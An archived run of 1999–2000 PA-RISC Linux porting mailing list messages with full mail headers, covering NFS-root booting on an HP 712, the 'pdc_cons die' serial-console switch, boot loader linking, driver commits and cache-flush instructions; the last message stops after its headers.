Xref: news.gmane.org gmane.linux.ports.parisc:7778

Hi,

Just wondering...  Is there a disk space requirement for booting from
network (NFSROOT)?  Or could I do it without a disk?
Thanks


Andrew Park


From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disk required?
Date: Thu, 24 Aug 2000 01:48:33 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20000824014831.A25471@neep.com.au>
References: <Pine.BSO.4.21.0006281242220.12561-100000@mojo.calyx.net> <Pine.SOL.4.21.0008231324270.10246-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619073 2892 80.91.229.3 (22 Nov 2014 01:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:53 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andrew@neep.com.au  Wed Aug 23 11:49:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA02661
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 11:49:01 -0600
Original-Received: (qmail 21832 invoked by uid 15267); 23 Aug 2000 17:48:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21767 invoked from network); 23 Aug 2000 17:48:53 -0000
Original-Received: from urban.iinet.net.au (203.59.24.231)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 17:48:53 -0000
Original-Received: from guinness.neep.com.au (reggae-10-62.nv.iinet.net.au [203.59.94.62])
	by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id BAA32557
	for <parisc-linux@thepuffingroup.com>; Thu, 24 Aug 2000 01:48:44 +0800
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id BAA27101
	for parisc-linux@thepuffingroup.com; Thu, 24 Aug 2000 01:48:37 +0800
Mail-Followup-To: parisc-linux@thepuffingroup.com
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.SOL.4.21.0008231324270.10246-100000@misty.cdf>; from apark@cdf.toronto.edu on Wed, Aug 23, 2000 at 01:28:14PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:7779

Andrew Park said:
> Hi,
> 
> Just wondering...  Is there a disk space requirement for booting from
> network (NFSROOT)?  Or could I do it without a disk?
> Thanks
> 
> Andrew Park

There isn't any requirement for locally attached devices to have
readable filesystems if you can boot and nfs-root from the network.

The local disks in my HP hold HP/UX on them, I just network boot to test
Linux kernels.  This is essentially the same thing as having no disk at
all as far as Linux is concerned.  =)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                http://www.neep.com.au/

  "Just remember Basil, there's always someone worse off than yourself."
  "Oh, really?  I'd like to meet him ... I could do with a good laugh."
                 [ Sybil and Basil Fawlty, "Fawlty Towers" ]


From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disk required?
Date: Wed, 23 Aug 2000 14:02:07 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008231357430.10293-100000@misty.cdf>
References: <20000824014831.A25471@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619073 2896 80.91.229.3 (22 Nov 2014 01:17:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:53 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Shugg <andrew@neep.com.au>
Original-X-From: apark@cdf.toronto.edu  Wed Aug 23 12:02:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA03073
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 12:02:59 -0600
Original-Received: (qmail 7606 invoked by uid 15267); 23 Aug 2000 18:02:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7577 invoked from network); 23 Aug 2000 18:02:50 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 18:02:50 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 074733C0A; Wed, 23 Aug 2000 14:02:08 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <20000824014831.A25471@neep.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:7780

On Thu, 24 Aug 2000, Andrew Shugg wrote:

> There isn't any requirement for locally attached devices to have
> readable filesystems if you can boot and nfs-root from the network.
> 
> The local disks in my HP hold HP/UX on them, I just network boot to test
> Linux kernels.  This is essentially the same thing as having no disk at
> all as far as Linux is concerned.  =)

Thanks for the reply.
I asked that because I wanted to narrow down the possibility of my
machine's inability to boot from the net.  It gets to a part where it says

	pdc_cons die !!

then it stops.  On the server, tftp log says "Connection Refused", but
the funny thing is that the client refused the connection.  I traced
the code where it printed "connection refused" and verified that the
server actually sent some data (do not know which file) and tried to
receive acknowledgement for it and failed to get any.
Do you have any ideas?
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------


From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hppa-linux] Linker scripts and the boot loader
Date: Fri, 26 Mar 1999 01:23:46 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990326012148.25559A-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619074 2904 80.91.229.3 (22 Nov 2014 01:17:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:54 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Fri Mar 26 01:23:48 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id BAA07933
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 01:23:48 -0500
Original-Received: (qmail 6086 invoked by uid 15267); 26 Mar 1999 06:22:41 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 6079 invoked from network); 26 Mar 1999 06:22:41 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 06:22:41 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA26124
	for <hppa-linux@thepuffingroup.com>; Fri, 26 Mar 1999 01:23:46 -0500
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:7781


Okay.  How does the boot loader work with loading the kernel?  I recall
Jason saying something about the boot loader knowing how to load binaries.

What do we need from the kernel to get the boot loader to load some sort
of kernel?

Why do we need a custom linking in the first place?

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Switch to serial console ( was Re: [parisc-linux] disk required? )
Date: Wed, 23 Aug 2000 12:10:34 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20000823181034.19BAC381A0@carmen.fc.hp.com>
References: <Pine.SOL.4.21.0008231357430.10293-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619074 2909 80.91.229.3 (22 Nov 2014 01:17:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:54 +0000 (UTC)
Cc: Andrew Shugg <andrew@neep.com.au>, parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: taggart@carmen.fc.hp.com  Wed Aug 23 12:08:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA03290
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 12:08:58 -0600
Original-Received: (qmail 15721 invoked by uid 15267); 23 Aug 2000 18:08:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15714 invoked from network); 23 Aug 2000 18:08:51 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 18:08:51 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by cosrel2.hp.com (Postfix) with ESMTP
	id 482E34A3; Wed, 23 Aug 2000 12:08:40 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 19BAC381A0; Wed, 23 Aug 2000 12:10:34 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Andrew Park <apark@cdf.toronto.edu> 
   of "Wed, 23 Aug 2000 14:02:07 EDT." <Pine.SOL.4.21.0008231357430.10293-100000@misty.cdf> 
Xref: news.gmane.org gmane.linux.ports.parisc:7782


Andrew Park writes...

> Thanks for the reply.
> I asked that because I wanted to narrow down the possibility of my
> machine's inability to boot from the net.  It gets to a part where it says
> 
> 	pdc_cons die !!
> 
> then it stops.  On the server, tftp log says "Connection Refused", but
> the funny thing is that the client refused the connection.  I traced
> the code where it printed "connection refused" and verified that the
> server actually sent some data (do not know which file) and tried to
> receive acknowledgement for it and failed to get any.
> Do you have any ideas?

This is the point where the kernel switches over to serial console. The 
machine is still running, just attach a serial console or use minicom or 
something.

Unfortunately this is quickly becoming a FAQ. I wish we had documented it in 
the CD README. It doesn't help that the last message you see is "pdc_cons die".

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Switch to serial console ( was Re: [parisc-linux] disk required?
 )
Date: Wed, 23 Aug 2000 15:05:15 -0400 (EDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0008231500570.10441-100000@misty.cdf>
References: <20000823181034.19BAC381A0@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619074 2914 80.91.229.3 (22 Nov 2014 01:17:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:54 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: apark@cdf.toronto.edu  Wed Aug 23 13:05:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04135
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 13:05:58 -0600
Original-Received: (qmail 22314 invoked by uid 15267); 23 Aug 2000 19:05:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22302 invoked from network); 23 Aug 2000 19:05:51 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 19:05:51 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 22A873C11; Wed, 23 Aug 2000 15:05:16 -0400 (EDT)
X-Sender: apark@misty.cdf
In-Reply-To: <20000823181034.19BAC381A0@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7783

On Wed, 23 Aug 2000, Matt Taggart wrote:

> This is the point where the kernel switches over to serial console. The 
> machine is still running, just attach a serial console or use minicom or 
> something.
> 
> Unfortunately this is quickly becoming a FAQ. I wish we had documented it in 
> the CD README. It doesn't help that the last message you see is "pdc_cons die".


hmmm....  I found the following quote from

http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-boot.html#CONSOLES

<quote>
3.1.2.3.3. How can I change the boot console to serial on a 712?

  Unfortunately, you can't. Although 712s are configured for in-house
       HP development to use serial console, this configuration isn't
  supported in the field. You have to use a graphics console for 712s.
</quote>

I have 712/80 (sorry, I should have mentioned earlier).  Would I still
be able to use a serial console despite what the documentation says?
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------



From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jack Perdue <j-perdue@tamu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Switch to serial console ( was Re: [parisc-linux] disk
  required? )
Date: Wed, 23 Aug 2000 14:21:54 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <4.3.0.20000823141930.00be1650@clavin.cs.tamu.edu>
References: <20000823181034.19BAC381A0@carmen.fc.hp.com> <Pine.SOL.4.21.0008231500570.10441-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619075 2921 80.91.229.3 (22 Nov 2014 01:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:55 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: j-perdue@tamu.edu  Wed Aug 23 13:22:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04505
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 13:22:22 -0600
Original-Received: (qmail 10339 invoked by uid 15267); 23 Aug 2000 19:22:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10332 invoked from network); 23 Aug 2000 19:22:15 -0000
Original-Received: from mail.tamu.edu (128.194.103.38)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 19:22:15 -0000
Original-Received: from whitetower.siliconslick.com (dyna-0001.vpn.tamu.edu [172.16.32.1])
	by mail.tamu.edu (8.9.3/8.9.3) with ESMTP id OAA09105;
	Wed, 23 Aug 2000 14:22:01 -0500 (CDT)
X-Sender: jkp2866@clavin.cs.tamu.edu
X-Mailer: QUALCOMM Windows Eudora Version 4.3
In-Reply-To: <Pine.SOL.4.21.0008231500570.10441-100000@misty.cdf>
Original-References: <20000823181034.19BAC381A0@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7784


Howdy Andrew,

FWIW, see:

   http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/12-Dec/0091.html

I was able to get my 712/60's console to the serial port using the steps
there...

jack
j-perdue@tamu.edu


At 03:05 PM 08/23/2000 -0400, you wrote:
>On Wed, 23 Aug 2000, Matt Taggart wrote:
>
> > This is the point where the kernel switches over to serial console. The
> > machine is still running, just attach a serial console or use minicom or
> > something.
> >
> > Unfortunately this is quickly becoming a FAQ. I wish we had documented 
> it in
> > the CD README. It doesn't help that the last message you see is 
> "pdc_cons die".
>
>
>hmmm....  I found the following quote from
>
>http://www.oswg.org/oswg-nightly/oswg/en_US.ISO_8859-1/articles/parisc-linux/parisc-linux-boot.html#CONSOLES
>
><quote>
>3.1.2.3.3. How can I change the boot console to serial on a 712?
>
>   Unfortunately, you can't. Although 712s are configured for in-house
>        HP development to use serial console, this configuration isn't
>   supported in the field. You have to use a graphics console for 712s.
></quote>
>
>I have 712/80 (sorry, I should have mentioned earlier).  Would I still
>be able to use a serial console despite what the documentation says?
>Thanks
>
>
>Andrew Park
>
>________________________________________________________________________
>CDFlab Systems Administrator                       www.cdf.utoronto.ca |
>GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
>------------------------------------------------------------------------
>
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.



From - Thu Nov 08 21:13:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] disk required?
Date: Wed, 23 Aug 2000 13:08:22 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20000823130822.M14529@vodka.thepuffingroup.com>
References: <20000824014831.A25471@neep.com.au> <Pine.SOL.4.21.0008231357430.10293-100000@misty.cdf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619075 2930 80.91.229.3 (22 Nov 2014 01:17:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:55 +0000 (UTC)
Cc: Andrew Shugg <andrew@neep.com.au>, parisc-linux@thepuffingroup.com
To: Andrew Park <apark@cdf.toronto.edu>
Original-X-From: willy@thepuffingroup.com  Wed Aug 23 13:23:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA04674
	for <parisc-linux@puffin.external.hp.com>; Wed, 23 Aug 2000 13:23:40 -0600
Original-Received: (qmail 11829 invoked by uid 15267); 23 Aug 2000 19:23:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11812 invoked from network); 23 Aug 2000 19:23:33 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 23 Aug 2000 19:23:33 -0000
Original-Received: (qmail 18700 invoked from network); 23 Aug 2000 19:22:58 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 23 Aug 2000 19:22:58 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id NAA22540;
	Wed, 23 Aug 2000 13:08:22 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.SOL.4.21.0008231357430.10293-100000@misty.cdf>; from Andrew Park on Wed, Aug 23, 2000 at 02:02:07PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7785

On Wed, Aug 23, 2000 at 02:02:07PM -0400, Andrew Park wrote:
> I asked that because I wanted to narrow down the possibility of my
> machine's inability to boot from the net.  It gets to a part where it says
> 
> 	pdc_cons die !!

this is rapidly becoming a FAQ... maybe I should add it to the FAQ page
(do you all promise to look at it if I do?)

...

there you go:

6.I'm using the Alpha 0.1 release CD and the machine stops after printing
  pdc_cons die !!
what's going on? 

The kernel on the CD is set up for serial port console. If you attach a
serial cable to the back of your machine then you should see messages
appearing on that console instead. You should be able to replace this
kernel with one which uses the STI console instead.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: U2/Uturn stuff.
Date: Thu, 24 Aug 2000 09:55:42 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20000824095542.G4060@linuxcare.com>
References: <39A3F01B.E042265D@home.com> <200008231606.JAA11784@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619076 2939 80.91.229.3 (22 Nov 2014 01:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:56 +0000 (UTC)
Cc: Matthew Hudson <mhudson@home.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Aug 24 02:57:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA20733
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 02:57:14 -0600
Original-Received: (qmail 13411 invoked by uid 15267); 24 Aug 2000 08:57:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13404 invoked from network); 24 Aug 2000 08:57:09 -0000
Original-Received: from user56-43.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.56.43)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 08:57:09 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6EF46B005; Thu, 24 Aug 2000 09:55:42 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200008231606.JAA11784@milano.cup.hp.com>; from grundler@cup.hp.com on Wed, Aug 23, 2000 at 09:06:51AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7786

On Wed, Aug 23, 2000 at 09:06:51AM -0700, Grant Grundler wrote:
> Changes to lasi LAN (82596?) and cache flushing code are also
> needed to make the system usable.

The lasi_82596.c changes are now committed.

Richard


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0-test6 lack of speed
Date: Thu, 24 Aug 2000 14:46:17 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20000824144617.K4060@linuxcare.com>
References: <20000822153803.U4060@linuxcare.com> <20000822155221.W4060@linuxcare.com> <20000822165047.X4060@linuxcare.com> <87n1i5wabx.fsf@linuxcare.com> <20000823172320.E4060@linuxcare.com> <E13RdXZ-0003Lz-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619076 2944 80.91.229.3 (22 Nov 2014 01:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:56 +0000 (UTC)
Cc: David Huggins-Daines <dhd@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Aug 24 07:47:51 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA25631
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 07:47:51 -0600
Original-Received: (qmail 12420 invoked by uid 15267); 24 Aug 2000 13:47:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12402 invoked from network); 24 Aug 2000 13:47:45 -0000
Original-Received: from user49-45.jakinternet.co.uk (HELO rhirst.linuxcare.com) (@212.41.49.45)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 13:47:45 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id BD4C0B005; Thu, 24 Aug 2000 14:46:17 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <E13RdXZ-0003Lz-00@noam.fc.hp.com>; from bame@noam.fc.hp.com on Wed, Aug 23, 2000 at 10:38:13AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7787

On Wed, Aug 23, 2000 at 10:38:13AM -0600, Paul Bame wrote:
> 
> jsm explained to me that the F?CE and P?TLBE instructions should
> only be used "for flushing the entire data or combined cache".
> The operands of F?CE/P?TLBE are "an implementation-dependent function
> of the effective address", essentially an opaque data type that
> varies per processor.  The operand of F?C/P?TLB is a virtual address,
> so is the right thing to use for flushing a range of addresses.

OK, thanks.  We use F?CE/P?TLBE in cache.h atm.

Richard


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: U2/Uturn stuff.
Date: Thu, 24 Aug 2000 09:37:21 -0500
Organization: @Home Network
Lines: 16
Approved: news@gmane.org
Message-ID: <39A53321.F2860574@home.com>
References: <39A3F01B.E042265D@home.com> <200008231606.JAA11784@milano.cup.hp.com> <20000824095542.G4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619076 2949 80.91.229.3 (22 Nov 2014 01:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: mhudson@home.com  Thu Aug 24 08:47:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA26239
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Aug 2000 08:47:20 -0600
Original-Received: (qmail 10441 invoked by uid 15267); 24 Aug 2000 14:47:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10428 invoked from network); 24 Aug 2000 14:47:15 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 24 Aug 2000 14:47:15 -0000
Original-Received: from home.com ([24.3.241.137]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000824144714.XDRV17075.mail.rdc1.ne.home.com@home.com>;
          Thu, 24 Aug 2000 07:47:14 -0700
X-Mailer: Mozilla 4.73 [en]C-AtHome0402  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7788


You people wanna give a guy a chance to learn the architecture?
:-)

-Matt
(Maybe I'll eventually get a chance to actually write some
code before someone else does it first. :-)

Richard Hirst wrote:
> 
> On Wed, Aug 23, 2000 at 09:06:51AM -0700, Grant Grundler wrote:
> > Changes to lasi LAN (82596?) and cache flushing code are also
> > needed to make the system usable.
> 
> The lasi_82596.c changes are now committed.


From - Thu Nov 08 21:13:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux-2.3 rhirst
Date: Thu, 24 Aug 2000 09:58:15 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20000824095815.B29677@vodka.thepuffingroup.com>
References: <200008240856.CAA20660@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619076 2953 80.91.229.3 (22 Nov 2014 01:17:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:56 +0000 (UTC)
Cc: rhirst@linuxcare.com
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Aug 24 09:03:29 2000
